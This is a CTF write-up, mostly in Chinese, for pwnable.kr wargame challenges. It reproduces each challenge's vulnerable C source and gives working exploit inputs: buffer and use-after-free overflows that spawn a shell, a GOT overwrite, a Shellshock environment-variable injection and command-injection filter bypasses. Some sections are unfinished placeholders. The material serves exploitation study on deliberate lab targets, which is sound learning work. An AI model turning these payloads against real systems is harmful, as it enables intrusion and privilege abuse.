Fork me on GitHub

Pwnable.kr Writeup

fd

连上去后查看源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

Points

  • atoi

(表示 ascii to integer)是把字符串转换成整型数的一个函数

  • read

ssize_t read(int fd,void * buf ,size_t count);

read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。

  • Linux文件描述符
nteger value Name symbolic constant file stream
0 Standard input STDIN_FILENO stdin
1 Standard output STDOUT_FILENO stdout
2 Standard error STDERR_FILENO stderr

Exp

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

Points

  • check_password中的强制转化,将字符转为整数指针,char占1位,int占4位——–>20char = 5 int
  • 小段模式输入

0x21DD09EC = 568134124 = 1136268244 + 113626828 = 0x06c5cec84 + 0x06c5cecc

Exp

col@ubuntu:~$ ./col $(python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'")
daddy! I just managed to create a hash collision :)

Why?

col@ubuntu:~$ python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"|./col
usage : ./col [passcode]
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr

bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

Exp

payload = p32(0xcafebabe) * 50
io.sendline(payload)
io.interactive()

flag

逆向题…

upx -d flag -o out 脱壳后,IDA 查看字符串

1

passcode

#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

Points

  • 通过溢出控制scanf("%d", passcode1); 使得passcode1可控
  • 修改printf or exit 使其指向 0x080485e3

Exp

root in ~/Desktop/tmp λ python -c "print 'A'*96 + '\x00\xa0\x04\x08' +'\n' + '134514147' + '\n' "|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
/bin/cat: flag: No such file or directory
enter passcode1 : Now I can safely trust you that you have credential :)

random

#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

Points

  • c中的rand函数产生的是伪随机数,每次产生出的是固定值
  • dword 双字 就是四个字节
  • ptr pointer缩写 即指针

Exp

random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

input

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}

Points

Stage1

  • Exactly 100 arguments
  • The argument n0. 65 (ascii value for A) must be an empty string
  • The argument no. 66 (ascii value for B) must be \x20\x0a\x0d

TODO


leg

TODO

mistake

#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}

Points

Exp

mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(

shellshock

#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

Points

Exp

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!

coin1

TODO

blackjack

code

Points

int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

Exp

任意输入超大金额或者负值,重新开始游戏后得到flag

-------
YaY_I_AM_A_MILLIONARE_LOL
Cash: $1539608052
-------
|D |
| 7 |
| D|
-------
Your Total is 7
The Dealer Has a Total of 1
Enter Bet: $

lotto

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
...
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

Points

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

Exp

Submit your 6 lotto bytes : !!!!!!
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(
- Select Menu -
1. Play Lotto
2. Help
3. Exit

cmd1

#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

Points

  • 通配符

Exp

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fl*"
mommy now I get what PATH environment is for :)

cmd2

#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

Exp

cmd2@ubuntu:/$ ./home/cmd2/cmd2 $($(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*)
/bin/cat: /home/cmd2/flag: Permission denied
Segmentation fault
cmd2@ubuntu:/$ ./home/cmd2/cmd2 '$($(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*)'
$($(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*)
sh: 1: FuN_w1th_5h3ll_v4riabl3s_haha: not found

or

$ ln -s /bin/cat cat
$ mkdir c
$ cd c
$ ln -s /home/cmd2/flag flag
$ /home/cmd2/cmd2 "\$(pwd)at f*"
$(pwd)at f*
FuN_w1th_5h3ll_v4riabl3s_haha

uaf

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}

Points

  • UAF利用
  • C++虚函数的内存结构

在C++中,每一个含有虚函数的类都会有一个虚函数表,简称虚表。与之对应的,每一个对象都会有其专属的虚表指针指向这个虚表。
值得一提的是,在一个继承树中,没有被覆写的虚函数虽然在被保存在不同的虚表中,但其地址是一致的。覆写后子类的虚表保存了覆写后的虚函数地址。
对象在内存开辟空间后,按照虚表指针、继承自基类的成员、类自身的成员的顺序进行存储。(如果是多重继承和虚继承,可能存在多个虚表指针)

本题中m对象的内存结构示意图

+----------------+
| vtable |<--------------------+
+----------------+ |
| age | |
+----------------+ |
| ptr name | |
+----------------+ |
^ |
| +-----------------+
+----------------+ | humen::getshell |
| "Jack" | +-----------------+
+----------------+ | men::introduce |
+-----------------+

对应内存布局

gdb-peda$ x/10x 0x614c50
0x614c50: 0x0000000000401570 0x0000000000000019
0x614c60: 0x0000000000614c38 0x00000000000203a1
0x614c70: 0x0000000000000000 0x0000000000000000
0x614c80: 0x0000000000000000 0x0000000000000000
0x614c90: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10x 0x0000000000401570
0x401570 <vtable for Man+16>: 0x000000000040117a 0x00000000004012d2
0x401580 <vtable for Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <vtable for Human+16>: 0x000000000040117a 0x0000000000401192
0x4015a0 <typeinfo name for Woman>: 0x00006e616d6f5735 0x0000000000000000
0x4015b0 <typeinfo for Woman>: 0x0000000000602390 0x00000000004015a0
gdb-peda$ x/10x 0x000000000040117a
0x40117a <Human::give_shell()>: 0x10ec8348e5894855 0x4014a8bff87d8948
0x40118a <Human::give_shell()+16>: 0xc3c9fffffb30e800 0xec834853e5894855
0x40119a <Human::introduce()+8>: 0x458b48e87d894818 0x14b0be10588d48e8
0x4011aa <Human::introduce()+24>: 0xe800602260bf0040 0x48de8948fffffb3a
0x4011ba <Human::introduce()+40>: 0xbefffffb6fe8c789 0xe8c7894800400d60
gdb-peda$ x/10x 0x00000000004012d2
0x4012d2 <Man::introduce()>: 0x10ec8348e5894855 0xf8458b48f87d8948
0x4012e2 <Man::introduce()+16>: 0xfffffea8e8c78948 0x2260bf004014cdbe
0x4012f2 <Man::introduce()+32>: 0xbefffff9f7e80060 0xe8c7894800400d60
0x401302 <Man::introduce()+48>: 0x4855c3c9fffffa4a 0x4828ec834853e589
0x401312 <Woman::Woman(std::string, int)+10>: 0x89e0758948e87d89 0x8948e8458b48dc55
  • 利用after复写虚表位置(0x0000000000401570-0x8)使得下次use时调用的introduce函数指向get_shell

Exp

uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/xuuaf
uaf@ubuntu:~$ ./uaf 24 /tmp/xuuaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag

codemap

memcpy

asm

brainfukc